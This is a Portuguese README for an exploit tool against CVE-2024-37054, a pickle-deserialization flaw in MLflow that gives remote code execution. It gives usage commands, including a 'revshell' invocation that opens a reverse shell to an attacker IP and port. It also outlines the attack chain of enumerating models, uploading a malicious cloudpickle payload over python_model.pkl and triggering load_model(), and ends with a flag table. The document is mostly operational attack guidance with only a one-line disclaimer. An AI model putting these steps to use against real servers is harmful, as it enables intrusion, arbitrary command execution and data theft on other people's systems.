
CVE-2024-37054 exploit and documentation
Severidade: Crítica
Afetado: MLflow 0.9.0 – 2.14.1
Tipo: Execução arbitrária de código via desserialização de pickle do Python
mlflow.pyfunc.load_model() desserializa python_model.pkl do armazenamento de artefatos sem qualquer sanitização. Um atacante que consiga acessar a API REST de artefatos do MLflow pode substituir esse arquivo por um pickle malicioso, que executa comandos arbitrários do SO na próxima vez que o modelo for carregado.
pip install requests cloudpickle
# Enumera modelos registrados
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Modelo explícito + Autenticação Básica do MLflow
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search para encontrar um modelo e seu run_id / experiment_idPUT de um payload cloudpickle malicioso para /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() naquele modelo desserializa o payload e executa o comandoA etapa de acionamento requer um endpoint da aplicação que carregue o modelo. Se nenhum for conhecido, use --no-trigger (ou omita --trigger-url) e acione o carregamento por qualquer meio disponível.
Apenas para testes de penetração autorizados e fins educacionais.
| Flag | Descrição |
|---|
--mlflow URL | URL base do servidor de rastreamento do MLflow (obrigatório) |
--model NAME | Nome do modelo registrado — seleciona automaticamente o primeiro se omitido |
--version N | Versão do modelo — assume a mais recente por padrão |
--user / --pass | Credenciais de Autenticação Básica HTTP para o MLflow |
--run-id / --exp-id | Ignora a descoberta de modelo com IDs conhecidos |
--trigger-url URL | Endpoint da aplicação que chama load_model() — omita para apenas fazer upload |
--session COOKIE | Cookie de sessão enviado com a requisição de gatilho |